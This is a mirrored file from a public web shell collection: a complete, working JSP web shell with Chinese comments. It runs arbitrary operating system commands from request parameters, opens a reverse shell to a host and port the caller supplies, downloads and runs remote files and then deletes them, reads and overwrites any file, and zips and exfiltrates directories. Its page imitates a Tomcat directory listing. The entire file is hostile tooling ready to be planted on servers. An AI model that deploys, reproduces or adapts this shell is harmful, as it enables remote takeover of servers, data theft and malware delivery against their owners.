mirror of
https://github.com/tennc/webshell
synced 2024-11-23 03:33:03 +00:00
282 lines
9.6 KiB
Text
282 lines
9.6 KiB
Text
<%@page import="java.util.zip.ZipEntry"%>
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<%@page import="java.util.zip.ZipOutputStream"%>
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<%@ page language="java" pageEncoding="UTF-8"%>
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<%@page import="java.util.*"%>
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<%@page import="java.text.SimpleDateFormat"%>
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<%@ page import="java.io.*" %>
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<%@ page import="java.net.*" %>
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<%!
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static String encoding = "UTF-8";
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static{
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encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
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}
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/**
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* 异常转换成字符串，获取详细异常信息
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* @param e
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* @return
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*/
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static String exceptionToString(Exception e) {
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StringWriter sw = new StringWriter();
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e.printStackTrace(new PrintWriter(sw, true));
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return sw.toString();
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}
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/**
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* 获取系统文件编码
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* @return
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*/
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static String getSystemEncoding(){
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return System.getProperty("sun.jnu.encoding");
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}
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/**
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* 非空判断
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*
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* @param obj
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* @return
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*/
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static boolean isNotEmpty(Object obj) {
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if (obj == null) {
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return false;
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}
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return !"".equals(String.valueOf(obj).trim());
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}
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/**
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* 输入流转二进制数组输出流
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* @param in
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* @return
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* @throws IOException
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*/
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static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
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ByteArrayOutputStream baos = new ByteArrayOutputStream();
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byte[] b = new byte[1024];
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int a = 0;
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while((a = in.read(b))!=-1){
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baos.write(b,0,a);
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}
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return baos;
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}
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/**
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* 复制流到文件，如果文件存在默认会覆盖
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* @param in
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* @param path
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* @throws IOException
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*/
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static void copyInputStreamToFile(InputStream in,String path) throws IOException{
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FileOutputStream fos = new FileOutputStream(path);
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fos.write(inutStreamToOutputStream(in).toByteArray());
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fos.flush();
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fos.close();
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}
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/**
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* 模仿Linux下的cat Windows下的type 查看文件内容
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* @param path
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* @return
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* @throws IOException
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*/
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static String cat(String path) throws IOException {
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return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
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}
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/**
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* 执行操作系统命令 如果是windows某些命令执行不了，可以用 cmd /c dir 执行dir命令
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* @param cmd
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* @return
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*/
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static String exec(String cmd) {
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try {
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return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
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} catch (IOException e) {
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return exceptionToString(e);
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}
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}
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/**
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* 下载文件到指定目录,保存的文件名必须指定
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* @param url
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* @param path
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* @throws MalformedURLException
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* @throws IOException
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*/
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static void download(String url,String path) throws MalformedURLException, IOException{
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copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
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}
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/**
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* 连接远程端口，提供本地命令执行入口
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* @param host
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* @param port
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* @throws UnknownHostException
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* @throws IOException
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*/
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static void shell(String host,int port) throws UnknownHostException, IOException{
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Socket s = new Socket(host,port);
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OutputStream out = s.getOutputStream();
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InputStream in = s.getInputStream();
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out.write(("User:\t"+exec("whoami")).getBytes());
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int a = 0;
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byte[] b = new byte[1024];
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while((a=in.read(b))!=-1){
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out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
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}
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}
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/**
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* 下载远程文件并执行，命令执行完成后会删除下载的文件
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* @param url
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* @param fileName
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* @param cmd
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* @return
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* @throws MalformedURLException
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* @throws IOException
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*/
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static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
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download(url, fileName);
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String out = exec(cmd);
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new File(fileName).delete();
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return out;
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}
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static void saveFile(String file,String data) throws IOException{
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copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file);
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}
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/**
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* 文件压缩
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* @throws IOException
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*/
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static void zipFile(ZipOutputStream zos,File file) throws IOException{
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if(file.isDirectory() && file.canRead()){
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File[] files = file.listFiles();
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for(File f:files){
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zipFile(zos, f);
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}
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}else{
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ZipEntry z = new ZipEntry(file.getName());
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zos.putNextEntry(z);
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zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray());
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zos.closeEntry();
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}
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}
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static void zip(ByteArrayOutputStream out,File file) throws IOException{
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ZipOutputStream zos = new ZipOutputStream(out);
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zipFile(zos,file);
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}
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%>
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<html>
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<head>
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<title><%=application.getServerInfo() %></title>
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<meta http-equiv="content-type" content="text/html;charset=utf-8">
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<STYLE>
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H1 {color: white;background-color: #525D76;font-size: 22px;}
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H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;}
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BODY {font-family: Tahoma, Arial, sans-serif;font-size:12px;color: black;background-color: white;}
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A {color: black;}
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HR {color: #525D76;}
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</STYLE>
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<script>
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function get(p){
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document.getElementById('p').value = p;
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document.getElementById('action').value = "get";
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document.getElementById('fm').submit();
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}
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function saveFile(){
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document.getElementById('action').value = "saveFile";
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document.getElementById('fm').submit();
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}
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</script>
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</head>
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<body>
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<%
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try{
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String action = request.getParameter("action");
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String path = isNotEmpty(request.getParameter("p"))?request.getParameter("p"):new File((isNotEmpty(application.getRealPath("/"))?application.getRealPath("/"):".")).getCanonicalPath();
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out.println("<form action=\"\" method=\"post\" id=\"fm\">");
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if(isNotEmpty(action) && !"get".equalsIgnoreCase(action)){
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if("shell".equalsIgnoreCase(action)){
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shell(request.getParameter("host"), Integer.parseInt(request.getParameter("port")));
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}else if("downloadL".equalsIgnoreCase(action)){
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download(request.getParameter("url"), request.getParameter("path"));
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out.println("文件下载成功.");
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}else if("exec".equalsIgnoreCase(action)){
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out.println("<h1>命令执行:</h1>");
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out.println("<pre>"+exec(request.getParameter("cmd"))+"</pre>");
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}else if("cat".equalsIgnoreCase(action)){
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out.println("<h1>文件查看:</h1>");
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out.println("<pre>"+cat(request.getParameter("path"))+"</pre>");
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}else if("auto".equalsIgnoreCase(action)){
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out.println("<h1>Auto:</h1>");
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out.println("<pre>"+auto(request.getParameter("url"),request.getParameter("fileName"),request.getParameter("cmd"))+"</pre>");
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}else if("download".equalsIgnoreCase(action)){
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response.setContentType("application/x-download");
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File file = new File(path,request.getParameter("fileName"));
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String fileName = file.isDirectory() ? file.getName()+".zip":file.getName();
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response.setHeader("Content-Disposition", "attachment; filename="+fileName);
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BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream());
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if(file.isDirectory()){
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ByteArrayOutputStream baos = new ByteArrayOutputStream();
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zip(baos, file);
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bos.write(baos.toByteArray());
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baos.close();
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}else{
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InputStream in = new FileInputStream(file);
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int len;
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byte[] buf = new byte[1024];
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while ((len = in.read(buf)) > 0) {
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bos.write(buf, 0, len);
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}
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in.close();
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}
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bos.close();
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out.clear();
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out = pageContext.pushBody();
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return ;
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}else if("saveFile".equalsIgnoreCase(action)){
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String file = request.getParameter("file");
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String data = request.getParameter("data");
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if(isNotEmpty(file) && isNotEmpty(data)){
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saveFile(new String(file.getBytes("ISO-8859-1"),"utf-8"),new String(data.getBytes("ISO-8859-1"),"utf-8"));
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out.println("<script>history.back(-1);alert('ok');</script>");
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}
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}
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}else{
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File file = new File(path);
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if(file.isDirectory()){
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%>
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<h1>Directory Listing For <%=path%></h1>
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<HR size="1" noshade="noshade">
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<table width="100%" cellspacing="0" cellpadding="5" align="center">
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<tr>
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<td align="left"><font size="+1"><strong>文件名</strong></font></td>
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<td align="center"><font size="+1"><strong>文件大小</strong></font></td>
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<td align="center"><font size="+1"><strong>文件下载</strong></font></td>
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<td align="right"><font size="+1"><strong>最后修改时间</strong></font></td>
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</tr>
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<%
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List<File> ls = new ArrayList<File>();
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ls.add(new File(file,".."));
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ls.addAll(Arrays.asList(file.listFiles()));
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for(int i = 0; i < ls.size(); i++){
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File f = ls.get(i);
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String fileCanonicalPath = f.getCanonicalPath().replaceAll("\\\\","/");
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out.println("<tr "+((i%2!=0)?"bgcolor=\"#eeeeee\"":"")+"><td align=\"left\"> <a href=\"javascript:get('"+(f.getCanonicalPath().replaceAll("\\\\","/"))+"');\"><tt>"+f.getName()+"</tt></a></td><td align=\"center\"><tt>"+(f.length()/1000)+"KB</tt></td><td align=\"center\"><a href=\""+request.getContextPath()+request.getServletPath()+"?action=download&p="+path+"&fileName="+f.getName()+"\"><tt>下载</tt></a></td><td align=\"right\"><tt>"+new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(f.lastModified())) +"</tt></td></tr>");
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}
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}else{
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out.println("<h1>文件编辑:</h1>");
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out.println("File:<input type=\"text\" style=\"width:600px;\" name=\"file\" value=\""+path+"\" /><input type=\"button\" style=\"margin-left:20px;\" value=\"保存\" onclick=\"saveFile()\" /><span id=\"result\"></span><br/><br/>");
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out.println("<textarea style=\"width:100%;height:500px;\" name=\"data\">"+cat(path)+"</textarea>");
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}
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}
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out.println("<input type=\"hidden\" name=\"p\" id=\"p\" value=\""+path+"\"/><input type=\"hidden\" name=\"action\" id=\"action\" value=\"get\" /></form></table>");
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out.println("<HR size=\"1\" noshade=\"noshade\"><h3>"+application.getServerInfo()+"</h3></body></html>");
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}catch(Exception e){
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out.println("<pre>"+exceptionToString(e)+"</pre>");
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}
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%>
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